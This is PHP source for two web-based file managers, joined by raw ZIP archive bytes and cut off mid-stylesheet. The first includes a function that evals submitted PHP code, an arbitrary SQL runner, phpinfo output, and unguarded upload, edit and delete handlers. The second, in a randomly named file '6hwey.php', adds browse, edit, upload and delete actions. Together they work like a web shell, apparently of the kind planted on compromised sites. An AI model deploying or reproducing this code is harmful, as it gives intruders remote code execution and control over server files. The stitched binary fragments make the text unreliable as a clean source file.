$trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
$mode = strtr($mode, $trans);
$newmode = '0';
$owner = (int)$mode[0] + (int)$mode[1] + (int)$mode[2];
$group = (int)$mode[3] + (int)$mode[4] + (int)$mode[5];
$world = (int)$mode[6] + (int)$mode[7] + (int)$mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
/**
* Change file permissions
*/
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if (@is_dir($file) && $rec) {
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
/**
* Download file
*/
function fm_download($file_name) {
if (!empty($file_name) && file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/octet-stream");
header("Content-Length: " . filesize($file_name));
readfile($file_name);
exit;
} else {
header('HTTP/1.0 404 Not Found', true, 404);
exit;
}
}
/**
* Calculate directory size
*/
function fm_dir_size($f, $format = true) {
if (is_file($f)) {
$size = filesize($f);
} else {
$size = 0;
$dh = opendir($f);
while (($file = readdir($dh)) !== false) {
if ($file == '.' || $file == '..') continue;
$filepath = $f . '/' . $file;
$size += is_file($filepath) ? filesize($filepath) : fm_dir_size($filepath, false);
}
closedir($dh);
}
if (!$format) return $size;
if ($size == 0) return '0 bytes';
$units = array('bytes', 'KB', 'MB', 'GB', 'TB');
$i = floor(log($size, 1024));
return round($size / pow(1024, $i), 2) . ' ' . $units[$i];
}
/**
* Scan directory
*/
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = array();
if (!empty($exp)) {
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if (!empty($type) && $type !== 'all') {
$func = 'is_' . $type;
}
if (@is_dir($directory)) {
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if (substr($filename, 0, 1) != '.' || $do_not_filter) {
if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) &&
(empty($exp) || preg_match($exp, $filename))) {
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
/**
* Create navigation link
*/
function fm_link($get, $link, $name, $title = '') {
if (empty($title)) $title = $name . ' ' . basename($link);
return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>';
}
/**
* Language selection form
*/
function fm_lang_form($current = 'en') {
$languages = array(
'en' => __('English'),
'de' => __('German'),
'ru' => __('Russian'),
'fr' => __('French'),
'uk' => __('Ukrainian')
);
$options = '';
foreach ($languages as $code => $name) {
$selected = ($current == $code) ? 'selected="selected"' : '';
$options .= '<option value="' . $code . '" ' . $selected . '>' . $name . '</option>';
}
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="' . __('Language') . '" onchange="this.form.submit()">
' . $options . '
</select>
</form>';
}
/**
* Check if directory is root
*/
function fm_root($dirname) {
return ($dirname == '.' || $dirname == '..');
}
/**
* Execute PHP code
*/
function fm_php($string) {
$display_errors = ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
/**
* SQL Connection
*/
function fm_sql_connect() {
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
/**
* Execute SQL query
*/
function fm_sql($query) {
$connection = fm_sql_connect();
if ($connection->connect_error) {
return $connection->connect_error;
}
$connection->set_charset('utf8');
$result = $connection->query($query);
if ($result === false) {
return mysqli_error($connection);
}
$output = '';
if ($result instanceof mysqli_result) {
$output .= '<table border="1" cellpadding="4" cellspacing="0">';
$first = true;
while ($row = $result->fetch_assoc()) {
if ($first) {
$output .= '<tr>';
foreach (array_keys($row) as $key) {
$output .= '<th>' . htmlspecialchars($key) . '</th>';
}
$output .= '</tr>';
$first = false;
}
$output .= '<tr>';
foreach ($row as $value) {
$output .= '<td>' . htmlspecialchars($value) . '</td>';
}
$output .= '</tr>';
}
$output .= '</table>';
$result->free();
} else {
$output = __('Query executed successfully');
}
$connection->close();
return $output;
}
/**
* Get image link
*/
function fm_img_link($filename) {
return './' . basename(__FILE__) . '?img=' . base64_encode($filename);
}
/**
* Home button style
*/
function fm_home_style() {
return '
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opT6UEp9KKU+lFIfSqkP4AW4A06APWvtuQNorQ2AJWAVmANGgS6gBWhUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII=");
background-repeat: no-repeat;
display: inline-block;
width: 16px;
height: 16px;
vertical-align: middle;
}';
}
/**
* Get site URL
*/
function fm_site_url() {
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
return $protocol . "://" . $_SERVER['HTTP_HOST'];
}
/**
* Get file manager URL
*/
function fm_url($full = false) {
$host = $full ? fm_site_url() : '.';
return $host . '/' . basename(__FILE__);
}
/**
* Home link
*/
function fm_home($full = false) {
return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"></span></a>';
}
// =============================================
// AUTHORIZATION CHECK
// =============================================
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])) {
if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) {
setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) || $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) {
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>' . __('File manager') . '</title>
<style>
body { font-family: Arial, sans-serif; max-width: 400px; margin: 100px auto; padding: 20px; }
.login-form { background: #f5f5f5; padding: 20px; border-radius: 5px; }
input[type="text"], input[type="password"] { width: 100%; padding: 8px; margin: 5px 0; }
input[type="submit"] { background: #006699; color: white; padding: 10px 20px; border: none; cursor: pointer; }
</style>
</head>
<body>
<div class="login-form">
<h2>' . __('File manager') . '</h2>
<form action="" method="post">
<p><input type="text" name="login" placeholder="' . __('Login') . '" required></p>
<p><input type="password" name="password" placeholder="' . __('Password') . '" required></p>
<p><input type="submit" value="' . __('Enter') . '"></p>
</form>
' . fm_lang_form($language) . '
</div>
</body>
</html>';
exit;
}
if (isset($_POST['quit'])) {
setcookie($auth['cookie_name'], '', time() - 3600);
header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']);
exit;
}
}
// =============================================
// MAIN REQUEST HANDLING
// =============================================
// Handle file download
if (isset($_GET['download'])) {
fm_download(base64_decode($_GET['download']));
}
// Handle image display
if (isset($_GET['img'])) {
$file = base64_decode($_GET['img']);
if ($info = getimagesize($file)) {
switch ($info[2]) {
case 1: $ext = 'gif'; break;
case 2: $ext = 'jpeg'; break;
case 3: $ext = 'png'; break;
case 6: $ext = 'bmp'; break;
default: exit;
}
header("Content-type: image/$ext");
readfile($file);
exit;
}
}
// Show PHP info
if (isset($_GET['phpinfo'])) {
phpinfo();
exit;
}
// =============================================
// EDIT FILE HANDLING
// =============================================
// Handle file editing
if (isset($_GET['edit'])) {
$file_to_edit = $path . $_GET['edit'];
$file_content = '';
if (file_exists($file_to_edit) && is_file($file_to_edit)) {
$file_content = file_get_contents($file_to_edit);
}
// Handle form submission for saving edited file
if (isset($_POST['file_content']) && isset($_POST['filename'])) {
$new_content = $_POST['file_content'];
$filename = $path . $_POST['filename'];
if (file_put_contents($filename, $new_content)) {
$msg = __('File updated');
echo '<script>setTimeout(function(){ window.location.href = "?path=' . urlencode($path) . '"; }, 1000);</script>';
} else {
$msg = __('Error occurred');
}
}
// Display edit form
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>' . __('Edit') . ' - ' . htmlspecialchars($_GET['edit']) . '</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }
.edit-form { background: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
textarea { width: 100%; height: 400px; font-family: monospace; padding: 10px; border: 1px solid #ddd; }
.buttons { margin-top: 10px; }
input[type="submit"] { background: #006699; color: white; padding: 8px 16px; border: none; cursor: pointer; margin-right: 10px; }
a.button { background: #666; color: white; padding: 8px 16px; text-decoration: none; display: inline-block; }
</style>
</head>
<body>
<div class="edit-form">
<h2>' . __('Edit') . ': ' . htmlspecialchars($_GET['edit']) . '</h2>';
if (!empty($msg)) {
echo '<div style="background: #dff0d8; color: #3c763d; padding: 10px; margin-bottom: 15px; border-radius: 3px;">' . $msg . '</div>';
}
echo '
<form method="post" action="">
<input type="hidden" name="filename" value="' . htmlspecialchars($_GET['edit']) . '">
<textarea name="file_content" spellcheck="false">' . htmlspecialchars($file_content) . '</textarea>
<div class="buttons">
<input type="submit" value="' . __('Save') . '">
<a href="?path=' . urlencode($path) . '" class="button">' . __('Cancel') . '</a>
</div>
</form>
</div>
</body>
</html>';
exit;
}
// =============================================
// HTML OUTPUT
// =============================================
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?= __('File manager') ?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0;
}
a { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
table { width: 100%; border-collapse: collapse; }
th { background: #006699; color: #FFA34F; padding: 8px; text-align: left; }
td { padding: 6px; border-bottom: 1px solid #ddd; }
.row1 { background: #EFEFEF; }
.row2 { background: #DEE3E7; }
.row3 { background: #D1D7DC; padding: 10px; }
.folder, .file, .img {
display: inline-block;
width: 16px;
height: 16px;
margin-right: 5px;
vertical-align: middle;
}
.folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opT6UEp9KKU+lFIfSqkP4AW4A06APWvtuQNorQ2AJWAVmANGgS6gBWhUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
.file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
.img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUopNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
input, textarea, select {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border: 1px solid #ccc;
padding: 4px;
margin: 2px;
}
input[type="submit"] {
background: #006699;
color: white;
border: none;
padding: 6px 12px;
cursor: pointer;
}
<?= fm_home_style() ?>
@media screen and (max-width: 768px) {
table, thead, tbody, th, td, tr { display: block; }
thead tr { position: absolute; top: -9999px; left: -9999px; }
tr { border: 1px solid #ccc; margin-bottom: 10px; }
td { border: none; position: relative; padding-left: 50%; }
td:before { position: absolute; left: 6px; content: attr(data-label); font-weight: bold; }
}
</style>
</head>
<body>
<!-- Header Section -->
<table>
<tr>
<th colspan="2"><?= __('File manager') ?> - <?= htmlspecialchars($path) ?></th>
</tr>
<?php if (!empty($msg)): ?>
<tr>
<td colspan="2" class="row2"><?= $msg ?></td>
</tr>
<?php endif; ?>
<tr>
<td class="row2">
<?= fm_home() ?>
<?php if ($fm_config['make_directory']): ?>
<form method="post" action="" style="display: inline;">
<input type="text" name="dirname" placeholder="<?= __('Make directory') ?>" size="15">
<input type="submit" name="mkdir" value="<?= __('Make directory') ?>">
</form>
<?php endif; ?>
<?php if ($fm_config['new_file']): ?>
<form method="post" action="" style="display: inline;">
<input type="text" name="filename" placeholder="<?= __('New file') ?>" size="15">
<input type="submit" name="mkfile" value="<?= __('New file') ?>">
</form>
<?php endif; ?>
</td>
<td class="row3" style="text-align: right;">
<?php if ($fm_config['upload_file']): ?>
<form method="post" action="" enctype="multipart/form-data" style="display: inline;">
<input type="file" name="upload" id="upload">
<input type="submit" value="<?= __('Upload') ?>">
</form>
<?php endif; ?>
<?php if ($auth['authorize']): ?>
<form action="" method="post" style="display: inline;">
<?= __('Hello') ?>, <?= $auth['login'] ?>
<input type="hidden" name="quit" value="1">
<input type="submit" value="<?= __('Quit') ?>">
</form>
<?php endif; ?>
<?= fm_lang_form($language) ?>
</td>
</tr>
</table>
<!-- File Listing -->
<table>
<thead>
<tr>
<th><?= __('Filename') ?></th>
<th><?= __('Size') ?></th>
<th><?= __('Date') ?></th>
<th><?= __('Rights') ?></th>
<th colspan="4"><?= __('Manage') ?></th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = $files = array();
foreach ($elements as $file) {
if (@is_dir($path . $file)) {
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs);
natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file):
$filename = $path . $file;
$filedata = @stat($filename);
$is_dir = @is_dir($filename);
$style = $is_dir ? 'row2' : 'row1';
if ($is_dir) {
$icon = 'folder';
$link = '<a href="?path=' . urlencode($path . $file) . '"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
$size = $fm_config['show_dir_size'] ? fm_dir_size($filename) : '';
} else {
$icon = @getimagesize($filename) && $fm_config['show_img'] ? 'img' : 'file';
if ($icon == 'img') {
$link = '<a href="' . fm_img_link($filename) . '" target="_blank"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
} else {
$link = '<a href="?edit=' . urlencode($file) . '&path=' . urlencode($path) . '"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
}
$size = fm_dir_size($filename);
}
?>
<tr class="<?= $style ?>">
<td data-label="<?= __('Filename') ?>"><?= $link ?></td>
<td data-label="<?= __('Size') ?>"><?= $size ?></td>
<td data-label="<?= __('Date') ?>"><?= date('Y-m-d H:i:s', $filedata[9]) ?></td>
<td data-label="<?= __('Rights') ?>"><?= fm_rights_string($filename) ?></td>
<td data-label="<?= __('Manage') ?>">
<?php if (!fm_root($file)): ?>
<a href="#" onclick="if(confirm('<?= $is_dir ? __('Are you sure you want to delete this directory (recursively)?') : __('Are you sure you want to delete this file?') ?>')) location.href='?delete=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>'"><?= __('Delete') ?></a>
<?php endif; ?>
</td>
<td>
<?php if (!fm_root($file)): ?>
<a href="?rename=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>"><?= __('Rename') ?></a>
<?php endif; ?>
</td>
<td>
<?php if (!$is_dir): ?>
<a href="?download=<?= base64_encode($filename) ?>"><?= __('Download') ?></a>
<?php endif; ?>
</td>
<td>
<?php if (!fm_root($file)): ?>
<a href="?edit=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>"><?= __('Edit') ?></a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<!-- Footer -->
<div class="row3">
<?= fm_home() ?> | Version <?= $fm_version ?> |
<?php if ($fm_config['show_php_ver']): ?>PHP <?= phpversion() ?> | <?php endif; ?>
<?php if ($fm_config['show_gt']): ?><?= __('Generation time') ?>: <?= round(microtime(true) - $starttime, 2) ?>s | <?php endif; ?>
<?php if ($fm_config['show_phpinfo']): ?><a href="?phpinfo=true">phpinfo()</a> | <?php endif; ?>
<?php if ($fm_config['fm_settings']): ?><a href="?fm_settings=true"><?= __('Settings') ?></a><?php endif; ?>
</div>
<?php
// Handle file operations
if (isset($_FILES['upload']) && $fm_config['upload_file']) {
if (move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) {
echo '<script>location.reload();</script>';
}
}
if (isset($_POST['mkdir']) && $fm_config['make_directory'] && !empty($_POST['dirname'])) {
mkdir($path . $_POST['dirname'], 0755);
echo '<script>location.reload();</script>';
}
if (isset($_POST['mkfile']) && $fm_config['new_file'] && !empty($_POST['filename'])) {
file_put_contents($path . $_POST['filename'], '');
echo '<script>location.reload();</script>';
}
if (isset($_GET['delete']) && !fm_root($_GET['delete'])) {
fm_del_files($path . $_GET['delete'], true);
echo '<script>location.href = "?path=' . urlencode($path) . '";</script>';
}
?>
</body>
</html>PK �9m\����dK dK 6hwey.phpnu �[��� <?php
// file_manager.php - Simple File Manager with Back Button
session_start();
error_reporting(0);
// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);
// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
$path = str_replace('..', '', $path);
$path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
return trim($path, '/');
}
function safe_realpath_within($path, $allowed_root){
$rp = realpath($path);
if($rp === false) return false;
$root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
return $rp;
}
return false;
}
function get_file_list($dir){
$files = [];
if(is_dir($dir)){
$items = scandir($dir);
foreach($items as $item){
if($item === '.' || $item === '..') continue;
$full_path = $dir . DIRECTORY_SEPARATOR . $item;
$files[] = [
'name' => $item,
'path' => $full_path,
'size' => is_file($full_path) ? filesize($full_path) : 0,
'type' => is_dir($full_path) ? 'directory' : 'file',
'modified' => date('Y-m-d H:i:s', filemtime($full_path))
];
}
}
return $files;
}
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);
if($current_dir === false){
$requested_dir = basename($base_dir);
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
$requested_dir = '';
$current_dir = safe_realpath_within($root_anchor, $root_anchor);
}
}
// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
$parent_dir = dirname($requested_dir);
if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
$parent_dir = '';
}
// ==================== BREADCRUMB ====================
$dir_parts = [];
if($requested_dir !== ''){
$parts = explode('/', $requested_dir);
$acc = '';
foreach($parts as $p){
if($p === '') continue;
$acc .= ($acc === '' ? '' : '/') . $p;
$dir_parts[] = ['name' => $p, 'path' => $acc];
}
}
// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
switch($action){
case 'view':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Type: text/plain');
readfile($file_path);
exit;
}
break;
case 'edit':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$content = $_POST['content'] ?? '';
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
file_put_contents($file_path, $content);
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
}
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
$content = htmlspecialchars(file_get_contents($file_path));
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
echo "<h2>✏️ Edit: ".htmlspecialchars($file)."</h2>";
echo "<form method='post'>";
echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
echo "<button type='submit'>💾 Save</button> ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>🚫 Cancel</a>";
echo "</form></body></html>";
exit;
}
break;
case 'delete':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
if(is_dir($file_path)){
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
$f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
}
rmdir($file_path);
} else {
unlink($file_path);
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
case 'upload':
if(!empty($_FILES['file'])){
$uploaded = $_FILES['file'];
if($uploaded['error'] === UPLOAD_ERR_OK){
$name = basename($uploaded['name']);
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if(safe_realpath_within(dirname($dest), $root_anchor)){
move_uploaded_file($uploaded['tmp_name'], $dest);
@chmod($dest, 0644);
}
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
case 'download':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Content-Length: '.filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'create_folder':
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$folder = sanitize_path($_POST['folder_name'] ?? '');
if($folder){
$fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
mkdir($fp, 0755, true);
}
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>📁 File Manager</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: white;
border-radius: 15px;
box-shadow: 0 20px 40px rgba(0,0,0,0.1);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, #2c3e50, #34495e);
color: white;
padding: 25px;
text-align: center;
}
.header h1 {
font-size: 2.2em;
margin-bottom: 10px;
font-weight: 300;
}
.current-path {
font-family: 'Courier New', monospace;
background: rgba(255,255,255,0.1);
padding: 10px;
border-radius: 8px;
margin: 15px 0;
word-break: break-all;
}
.navigation {
background: #ecf0f1;
padding: 20px;
border-bottom: 1px solid #bdc3c7;
}
.btn {
display: inline-flex;
align-items: center;
gap: 8px;
padding: 12px 20px;
background: #3498db;
color: white;
text-decoration: none;
border-radius: 8px;
font-weight: 500;
transition: all 0.3s ease;
border: none;
cursor: pointer;
font-size: 14px;
}
.btn:hover {
background: #2980b9;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0,0,0,0.2);
}
.btn-secondary {
background: #95a5a6;
}
.btn-secondary:hover {
background: #7f8c8d;
}
.btn-danger {
background: #e74c3c;
}
.btn-danger:hover {
background: #c0392b;
}
.btn-success {
background: #27ae60;
}
.btn-success:hover {
background: #219a52;
}
.toolbar {
display: flex;
gap: 15px;
flex-wrap: wrap;
margin-bottom: 20px;
}
.breadcrumb {
background: #f8f9fa;
padding: 15px 25px;
border-bottom: 1px solid #dee2e6;
}
.breadcrumb a {
color: #3498db;
text-decoration: none;
}
.breadcrumb span {
color: #7f8c8d;
margin: 0 8px;
}
.file-table {
width: 100%;
border-collapse: collapse;
}
.file-table th {
background: #34495e;
color: white;
padding: 15px;
text-align: left;
font-weight: 500;
}
.file-table td {
padding: 15px;
border-bottom: 1px solid #ecf0f1;
}
.file-table tr:hover {
background: #f8f9fa;
}
.file-icon {
width: 20px;
text-align: center;
